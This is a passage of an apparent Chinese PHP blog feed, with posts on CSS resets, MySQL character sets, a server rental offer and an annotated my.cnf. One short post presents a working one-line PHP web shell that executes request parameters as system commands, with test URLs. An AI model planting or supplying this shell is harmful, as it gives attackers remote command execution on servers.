<div><ol title="Double click to hide line number."><li><span style="color: Gray;">/</span><span style="color: Blue;">*</span><span style="color: Gray;"> </span><span style="color: Blue;">tables</span><span style="color: Gray;"> </span><span style="color: Blue;">still</span><span style="color: Gray;"> </span><span style="color: Blue;">need</span><span style="color: Gray;"> '</span><span style="color: Blue;">cellspacing</span><span style="color: Gray;">="0"' </span><span style="color: Blue;">in</span><span style="color: Gray;"> </span><span style="color: Blue;">the</span><span style="color: Gray;"> </span><span style="color: Blue;">markup</span><span style="color: Gray;"> </span><span style="color: Blue;">*</span><span style="color: Gray;">/</span></li><li><span style="color: Blue;">table</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">border-collapse:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">collapse</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">border-spacing:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>Eric还提醒到，需要在html中设置cellspacing=”0″ 来达到完美重置效果~<br>
但此外YUI还设置了 </p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">caption</span><span style="color: Gray;">, </span><span style="color: Blue;">th</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">text-align:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">left</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>让caption和th元素不要居中。作为重置，是可取的。建议添加此规则。</p>
<p><strong>10，上下标以及baseline</strong><br>
YUI写成</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">sup</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">vertical-align:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">baseline</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li><li><span style="color: Gray;">&nbsp;</span></li><li><span style="color: Blue;">sub</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">vertical-align:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">baseline</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>似乎没有优化，不知道为何没有写到一起去。而Eric则在最开始那条中就已经定义。而其中的问题是，YUI这样定义了，但没有重置字体大小，这点是有所遗憾的。既然是重置样式，就彻底一些，所以建议改成这样的：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">sup</span><span style="color: Gray;">, </span><span style="color: Blue;">sub</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">font-size:</span><span style="color: Gray;">&nbsp;</span><span style="color: Maroon;">100</span><span style="color: Red;">%</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">vertical-align:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">baseline</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>同样对于Eric把所有元素都放到了Baseline上，包括上标下标。Eric的<a target="_blank" href="http://meyerweb.com/eric/thoughts/2007/04/14/reworked-reset/">解释</a>是，强制让设计师精确定位这些元素的垂直偏移。</p>
<p><strong>11，插入和删除(ins/del)</strong><br>
对于这个问题，YUI直接清除了ins的下划线和del的删除线这两个文本装饰：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">del</span><span style="color: Gray;">, </span><span style="color: Blue;">ins</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">text-decoration:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">none</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>而Eric保留了删除线：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Gray;">/</span><span style="color: Blue;">*</span><span style="color: Gray;"> </span><span style="color: Blue;">remember</span><span style="color: Gray;"> </span><span style="color: Blue;">to</span><span style="color: Gray;"> </span><span style="color: Blue;">highlight</span><span style="color: Gray;"> </span><span style="color: Blue;">inserts</span><span style="color: Gray;"> </span><span style="color: Blue;">somehow</span><span style="color: Gray;">! </span><span style="color: Blue;">*</span><span style="color: Gray;">/</span></li><li><span style="color: Blue;">ins</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">text-decoration:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">none</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li><li><span style="color: Blue;">del</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">text-decoration:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">line-through</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>如何取舍？我选择Eric的，为什么我这里不追求完美的样式重置了呢？很简单，我这个reset的目标是为了让我们写页面的时候尽量避免浏览器默认
样式，以及不同浏览器之间默认样式差异带来的问题。而del元素删除线的文本装饰，我相信没有人会反对的。有人会加上其他样式，比如字体变淡之类的，但对
于del如此强语义的元素来说，没有什么比用删除线更能表达含义的了。而不像上面那个focus样式，未必人人喜欢虚线框。<br>
所以，这里我考虑采纳Eric的重置样式。同时别忘了给ins元素在等下也添加一些样式。</p>
<p><strong>12，引用元素的引号</strong><br>
某些浏览器中，q或者blockquote前后会出现引号。这个并不是谁都喜欢的。所以需要重置他。<br>
YUI的比较简单，只重置了q：</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">q</span><span style="color: Navy;">:before</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">q</span><span style="color: Navy;">:after</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">content:</span><span style="color: Gray;"> ''</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>而Eric则比较周到，把q和blockquote都重置了。</p>
<div><ol title="Double click to hide line number."><li><span style="color: Blue;">blockquote</span><span style="color: Gray;">, </span><span style="color: Blue;">q</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">quotes:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">none</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li><li><span style="color: Blue;">blockquote</span><span style="color: Navy;">:before</span><span style="color: Gray;">, </span><span style="color: Blue;">blockquote</span><span style="color: Navy;">:after</span><span style="color: Gray;">,</span></li><li><span style="color: Blue;">q</span><span style="color: Navy;">:before</span><span style="color: Gray;">, </span><span style="color: Blue;">q</span><span style="color: Navy;">:after</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">content:</span><span style="color: Gray;"> ''</span><span style="color: Gray;">;</span></li><li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">content:</span><span style="color: Gray;">&nbsp;</span><span style="color: Red;">none</span><span style="color: Gray;">;</span></li><li><span style="color: Olive;">}</span></li></ol></div>
<p>OK，就决定用Eric的了，对于样式重置，细致一点周到一点总没有错。</p>
<p>今天太晚了，已经四点了，等会睡觉起床接着更新我用的reset.css，以及写完reset.css后立即需要写的几个规则。</p> ]]>
            </content:encoded>
</item>

<item>
  <title>PHP安全: 一个新型的php一句话cmdshell</title>
  <link>http://www.phpv.net/html/1671.html</link>
  <comments>http://www.phpv.net/html/1671.html#comments</comments>
  <pubDate>Sun, 01 Mar 2009 00:19:16 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ PHP技术文档 ]]>
            </category>
  <content:encoded>
            <![CDATA[ <span style="font-family: monospace;">&lt;?php<br></span><pre><span>echo&nbsp;`$_REQUEST[id]`;</span><br></pre><span style="font-family: monospace;">?&gt;<br></span><span><span style="font-family: monospace;"><br></span>原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，<br>并返回命令执行的结果(string类型)； &nbsp;</span><br><pre><span>局限性:特征码比较明显，``符号在php中很少用到，杀毒软件很容易以此为特征码扫描到并警报；<br>``里面不能执行php代码；<br><br>测试方式:<br>http://www.phpv.net/test.php?id=dir%20c<br>相当于:dir c:<br><br></span><span>http://www.phpv.net/test.php?id=net%20</span>start<br>查看已启动的WIN服务<br><br>.....<br><br><br><br><span>&nbsp; </span><br></pre><br><span style="font-family: monospace;"><br></span> ]]>
            </content:encoded>
</item>

<item>
  <title>关于MySQL字符集架构的思考</title>
  <link>http://www.phpv.net/html/1670.html</link>
  <comments>http://www.phpv.net/html/1670.html#comments</comments>
  <pubDate>Mon, 23 Feb 2009 09:20:24 +0800 GMT</pubDate>
  <dc:creator>esayr</dc:creator>
            <category>
            <![CDATA[ 数据库技术 ]]>
            </category>
  <content:encoded>
            <![CDATA[ <p>最近几个月，我每次用MySQL，几乎都会想：MySQL现在如此层次分明的字符集架构作用真的很大吗？</p>
<p>MySQL的字符集处理是这样的：</p><p><br>
<span style="color: rgb(255, 0, 0);">1）发送请求</span><br>
客户端(character_set_client）=》数据库连接(character_set_connection)=》存储(table,column)<br>
<span style="color: rgb(255, 0, 0);">2）返回请求</span><br>
存储(table,column)=》数据库连接(character_set_connection )=》客户端(character_set_results)</p>
<p>在每一个非初始节点，都会做一次从上一个结点到当前节点的字符集转换操作。举个例子，有如下环境：<br>
* character_set_connection utf-8<br>
* character_set_results  gbk<br>
* character_set_client gb2312<br>
* 有表A，字段字符集全部为BIG5</p>
<p>发送请求的时候，首先数据从gbk转换为utf-8，再转换为BIG5，然后再存储。<br>
返回请求的时候，首先数据从BIG5转换为utf-8，再转换为gb2312，然后再发送给客户端。</p>
<p>这样的架构到底有什么用呢？</p><p><br>
<span style="font-weight: bold;">1）</span>允许不同的客户端具有不同的字符集。典型的例子就是，我有一个utf-8的站点，这个站点就是一个charset client为utf-8的客户端。与此同时，我有可能需要在一个gbk的终端上读写数据库，这又是一个客户端，不过它的字符集是gbk。<br>
<span style="font-weight: bold;">2）</span>通过数据库操作文件系统的时候，需要把文件路径转为文件系统的字符集。例如我的客户端是gbk，而服务器文件系统是utf-8。操作”/A片
/Rina.rmvb”，发送过去的数据里，“片”的数据和服务器是不一样的。这时候就需要有个办法可以把转换GBK的“片”到utf-8。在这里
MySQL引入了一个叫character_filesystem的东西来完成这个事情。</p>
<p>除此之外，我暂时想不到其他的作用了。但是仔细想想，我们真的需要这样的处理吗？很多网站，无非就是希望自己的数据能怎么进去就怎么出来。这里又有两种情况了。</p><p><br>
<span style="font-weight: bold;">1）</span>希望可以根据数据进行排序或者做like操作。首先说排序，对于包含中文的字段来说，根据字符集排序的概念如同鸡肋。简体中文排序，一般都是希望按拼音来排序。我没有去真正了解过MySQL里的校验，但是从我接触过的程序来看，需要做此类排序，都是专门建一个存放拼音的字段来排序。而拼音又存在多音字的情况。如果是UTF-8，还存在某个区间的中文同时被中日韩三国共用的情况。实现起来不是这么容易，所以MySQL无论的GBK还是UTF-8的校验集
应该都没有实现拼音。我敢说，现在国内使用MySQL的大多数网站，所用到的校验集，只是一个byte排序而已。而byte排序，根本不需要使用什么字符
集。所以说对于中文站点，MySQL字符校验在排序上没任何意义。</p>
<p>但是在like操作上，倒是有了一点点意义。例如我like ‘%a%’，就有可能匹配到某个中文某个部分含有a。当然这种情况在utf-8下不会遇到，因为<a target="_blank" href="http://www.surfchen.org/wiki/Unicode">utf-8的存储格式</a>导致a只可能是a，不可能是一个多字节字符的一部分。但是在其他字符集可能就会有这个问题了。说到最后，like又变得和order一样使得校验没意义了。晕倒。</p>
<p><span style="font-weight: bold;">2）</span>如果完全不需要对数据进行排序，like或者全文检索，那么请停止使用char，varchar，text之类的吧。
binary，varbinary，BLOB才是正确的选择。binary之类的在存储，取出的时候都不会进行字符集转换，而在排序时候，只根据二进制内
容排序，所以在效率上高出char，varchar，text很多。</p>
<p>这种情况更不需要字符集了。但是按照目前MySQL的架构，在client和connection之间的字符集操作，是忽略字段类型的，在这两个节点之间，依然会进行字符集转换。</p>
<p>说了这么多，我都不知道说什么了。本来是想说MySQL的字符集看似强大实则无用。但是写下来，发现勉强还有一点作用。另外前段时间想总结一下<a target="_blank" href="http://www.surfchen.org/wiki/MySQL%E7%9A%84%E5%AD%97%E7%AC%A6%E9%9B%86">MySQL的字符集</a>，不过没写完。</p>
<p>另外提一下PHP里的设置字符集。大家请不要再使用mysql_query(”set names utf8″)这样的语句了。<a target="_blank" href="http://www.php.net/mysql_set_charset">mysql_set_charset()</a>才
是最完整的字符集设置方式。后者比前者多一个设置，就是把struct
MySQL的charset成员也设置了。这个成员变量在escape的时候起着很重要的作用，特别是对于GBK这种运行把“\”作为字符一部分的编码格式。如果你只使用mysql_query(”set names
XXX”)，那么在某些字符集，会有重大的安全漏洞，导致mysql_real_escape_string变得和addslashes一样不安全。</p>
<p>在计算机技术里，字符集是我很喜欢研究的一个东西。我接触的东西，我都希望把字符集处理方式弄清楚。这是因为我在3年前，对字符集完全不理解。对于完全不理解的东西，我总是很渴望去完全理解它。</p>
<p>BTW：随着各种多字节字符集的广泛应用，而在软件开发里人数比例非常高的操英文的程序员对多字节字符并不是很了解，这是最近几年很多漏洞都是多字节引起的一个原因。我们中日韩的程序员在这方面有优势，顶了！</p> ]]>
            </content:encoded>
</item>

<item>
  <title>服务器信息:一台HP的双线服务器,接受合租也可买产权</title>
  <link>http://www.phpv.net/html/1668.html</link>
  <comments>http://www.phpv.net/html/1668.html#comments</comments>
  <pubDate>Thu, 22 Jan 2009 17:28:28 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ 其它杂谈 ]]>
            </category>
  <content:encoded>
            <![CDATA[ <span style="font-weight: bold;">相关描述:</span><br><br>一台HP的2U服务器,托管在深圳骨干机房,双线共享100M.速度一直很不错.本月15号托管到期.<br>考虑到本人已有多台服务器,平时工作时间不多,原来的网站计划进度不理想.当前一年内是用不上.所以打算将此台服务器往外租.<br><br style="font-weight: bold;"><span style="font-weight: bold;">服务器配置:</span><br><br>型号:HP DL380G5&nbsp;&nbsp;&nbsp; 417453-AA1<br>内存:HP 2GB FBD PC2-5300 * 2根 = 4G<br>硬盘:73GB 1万转 SAS 2.5” 热插拔硬盘 * 2块 = 146G<br><br><br><br><span style="font-weight: bold;">初步合租计划及费用情况:</span><br><br><br><br>服务器操作系统为linux,平台初步定为apache2.2*+php5+mysql5 (nginx也不错,但多用户安全不是特别好控制)<br>本人初期提供相应服务器配置/安全/优化/空间域名搬迁等技术支持.稳定后装root权限交由合租人自己管理.<br><br>服务器托管费用是8500一年. 提供电信的托管发票.<br>
(我知道8.5K是比其它机房贵了一些.没办法,深圳的机房线路一直不错,就没换过机房)<br>
共分成5份,最多6份. 每个人站点(域名)个数不能超出十个.资源分配本着公平公正的态度由大家共同协商后拟定.<br><br><span style="font-weight: bold;">费用是2000元 每人每年&nbsp; 按年收费.</span><br style="font-weight: bold;"><span style="font-weight: bold;">当前已有二人预定.</span> 需要整台租用独享也可以<br><br>如果有需要请与我联系:<br>QQ:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 3181052 注明合租<br>MSN:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : esayr@hotmail.com<br>google talk : phpvcn@gmail.com<br><br><br>最后祝各位:<br><br><font style="color: rgb(255, 255, 255); background-color: rgb(128, 0, 0);" size="6"><span style="font-weight: bold;">新年吉祥. 事业有成!</span></font><br><br> ]]>
            </content:encoded>
</item>

<item>
  <title>MySQL配置文件my.cnf中文版</title>
  <link>http://www.phpv.net/html/my.cnf_configure.html</link>
  <comments>http://www.phpv.net/html/my.cnf_configure.html#comments</comments>
  <pubDate>Thu, 15 Jan 2009 11:36:02 +0800 GMT</pubDate>
  <dc:creator>抽烟的蚊子</dc:creator>
            <category>
            <![CDATA[ 数据库技术 ]]>
            </category>
  <content:encoded>
            <![CDATA[ 从 hi!admin 抄来的一份配置.注释得非常好.精<br><br><br>#BEGIN CONFIG INFO<br>#DESCR: 4GB RAM, 只使用InnoDB, ACID, 少量的连接, 队列负载大<br>#TYPE: SYSTEM<br>#END CONFIG INFO<br><br>#<br># 此mysql配置文件例子针对4G内存<br># 主要使用INNODB<br>#处理复杂队列并且连接数量较少的mysql服务器<br># <br># 将此文件复制到/etc/my.cnf 作为全局设置,<br># mysql-data-dir/my.cnf 作为服务器指定设置<br># (@localstatedir@ for this installation) 或者放入<br># ~/.my.cnf 作为用户设置.<br>#<br># 在此配置文件中, 你可以使用所有程序支持的长选项.<br># 如果想获悉程序支持的所有选项<br># 请在程序后加上"--help"参数运行程序.<br>#<br># 关于独立选项更多的细节信息可以在手册内找到<br>#<br><br>#<br># 以下选项会被MySQL客户端应用读取.<br># 注意只有MySQL附带的客户端应用程序保证可以读取这段内容.<br># 如果你想你自己的MySQL应用程序获取这些值<br># 需要在MySQL客户端库初始化的时候指定这些选项<br><br>#<br><span style="color: rgb(255, 0, 0);">[client]</span><br>#password	= [your_password]<br><span style="color: rgb(0, 0, 205);">port		= @MYSQL_TCP_PORT@</span><br style="color: rgb(0, 0, 205);"><span style="color: rgb(0, 0, 205);">socket		= @MYSQL_UNIX_ADDR@</span><br><br># *** 应用定制选项 ***<br><br>#<br>#&nbsp; MySQL 服务端<br>#<br><span style="color: rgb(255, 0, 0);">[mysqld]</span><br><br># 一般配置选项<br><span style="color: rgb(0, 0, 205);">port		= @MYSQL_TCP_PORT@</span><br style="color: rgb(0, 0, 205);"><span style="color: rgb(0, 0, 205);">socket		= @MYSQL_UNIX_ADDR@</span><br><br># back_log 是操作系统在监听队列中所能保持的连接数,<br># 队列保存了在MySQL连接管理器线程处理之前的连接.<br># 如果你有非常高的连接率并且出现"connection refused" 报错,<br># 你就应该增加此处的值.<br># 检查你的操作系统文档来获取这个变量的最大值.<br># 如果将back_log设定到比你操作系统限制更高的值,将会没有效果<br><span style="color: rgb(0, 0, 205);">back_log = 50</span><br><br># 不在TCP/IP端口上进行监听.<br># 如果所有的进程都是在同一台服务器连接到本地的mysqld,<br># 这样设置将是增强安全的方法<br># 所有mysqld的连接都是通过Unix sockets 或者命名管道进行的.<br># 注意在windows下如果没有打开命名管道选项而只是用此项<br># (通过 "enable-named-pipe" 选项) 将会导致mysql服务没有任何作用!<br>#skip-networking<br><br># MySQL 服务所允许的同时会话数的上限<br># 其中一个连接将被SUPER权限保留作为管理员登录.<br># 即便已经达到了连接数的上限.<br><span style="color: rgb(0, 0, 205);">max_connections = 100</span><br><br># 每个客户端连接最大的错误允许数量,如果达到了此限制.<br># 这个客户端将会被MySQL服务阻止直到执行了"FLUSH HOSTS" 或者服务重启<br># 非法的密码以及其他在链接时的错误会增加此值.<br># 查看 "Aborted_connects" 状态来获取全局计数器.<br><span style="color: rgb(0, 0, 205);">max_connect_errors = 10</span><br><br># 所有线程所打开表的数量.<br># 增加此值就增加了mysqld所需要的文件描述符的数量<br># 这样你需要确认在[mysqld_safe]中 "open-files-limit" 变量设置打开文件数量允许至少4096<br><span style="color: rgb(0, 0, 205);">table_cache = 2048</span><br><br># 允许外部文件级别的锁. 打开文件锁会对性能造成负面影响<br># 所以只有在你在同样的文件上运行多个数据库实例时才使用此选项(注意仍会有其他约束!) <br># 或者你在文件层面上使用了其他一些软件依赖来锁定MyISAM表<br>#external-locking<br><br># 服务所能处理的请求包的最大大小以及服务所能处理的最大的请求大小(当与大的BLOB字段一起工作时相当必要)<br># 每个连接独立的大小.大小动态增加<br><span style="color: rgb(0, 0, 205);">max_allowed_packet = 16M</span><br><br># 在一个事务中binlog为了记录SQL状态所持有的cache大小<br># 如果你经常使用大的,多声明的事务,你可以增加此值来获取更大的性能. <br># 所有从事务来的状态都将被缓冲在binlog缓冲中然后在提交后一次性写入到binlog中<br># 如果事务比此值大, 会使用磁盘上的临时文件来替代. <br># 此缓冲在每个连接的事务第一次更新状态时被创建<br><span style="color: rgb(0, 0, 205);">binlog_cache_size = 1M</span><br><br># 独立的内存表所允许的最大容量. <br># 此选项为了防止意外创建一个超大的内存表导致永尽所有的内存资源.<br><span style="color: rgb(0, 0, 205);">max_heap_table_size = 64M</span><br><br># 排序缓冲被用来处理类似ORDER BY以及GROUP BY队列所引起的排序<br># 如果排序后的数据无法放入排序缓冲, <br># 一个用来替代的基于磁盘的合并分类会被使用<br># 查看 "Sort_merge_passes" 状态变量.<br># 在排序发生时由每个线程分配<br><span style="color: rgb(0, 0, 205);">sort_buffer_size = 8M</span><br><br># 此缓冲被使用来优化全联合(full JOINs 不带索引的联合). <br># 类似的联合在极大多数情况下有非常糟糕的性能表现,<br># 但是将此值设大能够减轻性能影响.<br># 通过 "Select_full_join" 状态变量查看全联合的数量<br># 当全联合发生时,在每个线程中分配<br><span style="color: rgb(0, 0, 205);">join_buffer_size = 8M</span><br><br># 我们在cache中保留多少线程用于重用<br># 当一个客户端断开连接后,如果cache中的线程还少于thread_cache_size,<br># 则客户端线程被放入cache中. <br># 这可以在你需要大量新连接的时候极大的减少线程创建的开销<br># (一般来说如果你有好的线程模型的话,这不会有明显的性能提升.)<br><span style="color: rgb(0, 0, 205);">thread_cache_size = 8</span><br><br># 此允许应用程序给予线程系统一个提示在同一时间给予渴望被运行的线程的数量.<br># 此值只对于支持 thread_concurrency() 函数的系统有意义( 例如Sun Solaris).<br># 你可可以尝试使用 [CPU数量]*(2..4) 来作为thread_concurrency的值<br><span style="color: rgb(0, 0, 205);">thread_concurrency = 8</span><br><br># 查询缓冲常被用来缓冲 SELECT 的结果并且在下一次同样查询的时候不再执行直接返回结果. <br># 打开查询缓冲可以极大的提高服务器速度, 如果你有大量的相同的查询并且很少修改表.<br># 查看 "Qcache_lowmem_prunes" 状态变量来检查是否当前值对于你的负载来说是否足够高.<br># 注意: 在你表经常变化的情况下或者如果你的查询原文每次都不同,<br># 查询缓冲也许引起性能下降而不是性能提升.<br><span style="background-color: rgb(255, 255, 255); color: rgb(0, 0, 205);">query_cache_size = 64M</span><br style="background-color: rgb(255, 255, 255);"><br># 只有小于此设定值的结果才会被缓冲<br># 此设置用来保护查询缓冲,防止一个极大的结果集将其他所有的查询结果都覆盖.<br><span style="color: rgb(0, 0, 205);">query_cache_limit = 2M</span><br><br># 被全文检索索引的最小的字长.<br># 你也许希望减少它,如果你需要搜索更短字的时候.<br># 注意在你修改此值之后,<br># 你需要重建你的 FULLTEXT 索引<br><span style="color: rgb(0, 0, 205);">ft_min_word_len = 4</span><br><br># 如果你的系统支持 memlock() 函数,你也许希望打开此选项用以让运行中的mysql在在内存高度紧张的时候,数据在内存中保持锁定并且防止可能被swapping out<br># 此选项对于性能有益<br>#memlock<br><br># 当创建新表时作为默认使用的表类型,<br># 如果在创建表示没有特别执行表类型,将会使用此值<br><span style="color: rgb(0, 0, 205);">default_table_type = MYISAM</span><br><br># 线程使用的堆大小. 此容量的内存在每次连接时被预留.<br># MySQL 本身常不会需要超过64K的内存<br># 如果你使用你自己的需要大量堆的UDF函数<br># 或者你的操作系统对于某些操作需要更多的堆,<br># 你也许需要将其设置的更高一点.<br><span style="color: rgb(0, 0, 205);">thread_stack = 192K</span><br><br># 设定默认的事务隔离级别.可用的级别如下:<br># READ-UNCOMMITTED, READ-COMMITTED, REPEATABLE-READ, SERIALIZABLE<br><span style="color: rgb(0, 0, 205);">transaction_isolation = REPEATABLE-READ</span><br><br># 内部(内存中)临时表的最大大小<br># 如果一个表增长到比此值更大,将会自动转换为基于磁盘的表.<br># 此限制是针对单个表的,而不是总和. <br><span style="color: rgb(0, 0, 205);">tmp_table_size = 64M</span><br><br># 打开二进制日志功能.<br># 在复制(replication)配置中,作为MASTER主服务器必须打开此项<br># 如果你需要从你最后的备份中做基于时间点的恢复,你也同样需要二进制日志.<br><span style="color: rgb(0, 0, 205);">log-bin=mysql-bin</span><br><br># 如果你在使用链式从服务器结构的复制模式 (A-&gt;B-&gt;C), <br># 你需要在服务器B上打开此项. <br># 此选项打开在从线程上重做过的更新的日志,<br># 并将其写入从服务器的二进制日志.<br>#log_slave_updates<br><br># 打开全查询日志. 所有的由服务器接收到的查询 (甚至对于一个错误语法的查询) <br># 都会被记录下来. 这对于调试非常有用, 在生产环境中常常关闭此项.<br>#log<br><br># 将警告打印输出到错误log文件.&nbsp; 如果你对于MySQL有任何问题<br># 你应该打开警告log并且仔细审查错误日志,查出可能的原因. <br>#log_warnings<br><br># 记录慢速查询. 慢速查询是指消耗了比 "long_query_time" 定义的更多时间的查询.<br># 如果 log_long_format 被打开,那些没有使用索引的查询也会被记录.<br># 如果你经常增加新查询到已有的系统内的话. 一般来说这是一个好主意,<br><span style="color: rgb(0, 0, 205);">log_slow_queries</span><br><br># 所有的使用了比这个时间(以秒为单位)更多的查询会被认为是慢速查询.<br># 不要在这里使用"1", 否则会导致所有的查询,甚至非常快的查询页被记录下来(由于MySQL 目前时间的精确度只能达到秒的级别).<br><span style="color: rgb(0, 0, 205);">long_query_time = 2</span><br><br># 在慢速日志中记录更多的信息.<br># 一般此项最好打开.<br># 打开此项会记录使得那些没有使用索引的查询也被作为到慢速查询附加到慢速日志里<br><span style="color: rgb(0, 0, 205);">log_long_format</span><br><br># 此目录被MySQL用来保存临时文件.例如,<br># 它被用来处理基于磁盘的大型排序,和内部排序一样.<br># 以及简单的临时表.<br># 如果你不创建非常大的临时文件,将其放置到 swapfs/tmpfs 文件系统上也许比较好<br># 另一种选择是你也可以将其放置在独立的磁盘上. <br># 你可以使用";"来放置多个路径<br># 他们会按照roud-robin方法被轮询使用.<br>#tmpdir = /tmp<br><br><br># ***&nbsp; 复制有关的设置<br><br><br># 唯一的服务辨识号,数值位于 1 到 2^32-1之间. <br># 此值在master和slave上都需要设置.<br># 如果 "master-host" 没有被设置,则默认为1, 但是如果忽略此选项,MySQL不会作为master生效.<br><span style="color: rgb(0, 0, 205);">server-id = 1</span><br><br># 复制的Slave (去掉master段的注释来使其生效)<br>#<br># 为了配置此主机作为复制的slave服务器,你可以选择两种方法:<br>#<br># 1) 使用 CHANGE MASTER TO 命令 (在我们的手册中有完整描述) -<br>#&nbsp; &nbsp; 语法如下:<br>#<br>#&nbsp; &nbsp; CHANGE MASTER TO MASTER_HOST=&lt;host&gt;, MASTER_PORT=&lt;port&gt;,<br>#&nbsp; &nbsp; MASTER_USER=&lt;user&gt;, MASTER_PASSWORD=&lt;password&gt; ;<br>#<br>#&nbsp; &nbsp; 你需要替换掉 &lt;host&gt;, &lt;user&gt;, &lt;password&gt; 等被尖括号包围的字段以及使用master的端口号替换&lt;port&gt; (默认3306).<br>#<br>#&nbsp; &nbsp; 例子:<br>#<br>#&nbsp; &nbsp; CHANGE MASTER TO MASTER_HOST='125.564.12.1', MASTER_PORT=3306,<br>#&nbsp; &nbsp; MASTER_USER='joe', MASTER_PASSWORD='secret';<br>#<br># 或者<br>#<br># 2) 设置以下的变量. 不论如何, 在你选择这种方法的情况下, 然后第一次启动复制(甚至不成功的情况下,<br>#&nbsp; &nbsp; &nbsp;例如如果你输入错密码在master-password字段并且slave无法连接), <br>#&nbsp; &nbsp; slave会创建一个 master.info 文件,并且之后任何对于包含在此文件内的参数的变化都会被忽略<br>#&nbsp; &nbsp; 并且由 master.info 文件内的内容覆盖, 除非你关闭slave服务, 删除 master.info 并且重启slave 服务.<br>#&nbsp; &nbsp; 由于这个原因,你也许不想碰一下的配置(注释掉的) 并且使用 CHANGE MASTER TO (查看上面) 来代替<br>#<br># 所需要的唯一id号位于 2 和 2^32 - 1之间<br># (并且和master不同)<br># 如果master-host被设置了.则默认值是2<br># 但是如果省略,则不会生效<br>#server-id = 2<br>#<br># 复制结构中的master - 必须<br>#master-host = &lt;hostname&gt;<br>#<br># 当连接到master上时slave所用来认证的用户名 - 必须<br>#master-user = &lt;username&gt;<br>#<br># 当连接到master上时slave所用来认证的密码 - 必须<br>#master-password = &lt;password&gt;<br>#<br># master监听的端口.<br># 可选 - 默认是3306<br>#master-port = &lt;port&gt;<br><br># 使得slave只读.只有用户拥有SUPER权限和在上面的slave线程能够修改数据.<br># 你可以使用此项去保证没有应用程序会意外的修改slave而不是master上的数据<br>#read_only<br><br><br>#*** MyISAM 相关选项<br><br><br># 关键词缓冲的大小, 一般用来缓冲MyISAM表的索引块.<br># 不要将其设置大于你可用内存的30%, <br># 因为一部分内存同样被OS用来缓冲行数据 <br># 甚至在你并不使用MyISAM 表的情况下, 你也需要仍旧设置起 8-64M 内存由于它同样会被内部临时磁盘表使用.<br><span style="color: rgb(0, 0, 205);">key_buffer_size = 32M</span><br><br># 用来做MyISAM表全表扫描的缓冲大小.<br># 当全表扫描需要时,在对应线程中分配.<br><span style="color: rgb(0, 0, 205);">read_buffer_size = 2M</span><br><br># 当在排序之后,从一个已经排序好的序列中读取行时,行数据将从这个缓冲中读取来防止磁盘寻道. <br># 如果你增高此值,可以提高很多ORDER BY的性能.<br># 当需要时由每个线程分配<br><span style="color: rgb(0, 0, 205);">read_rnd_buffer_size = 16M</span><br><br># MyISAM 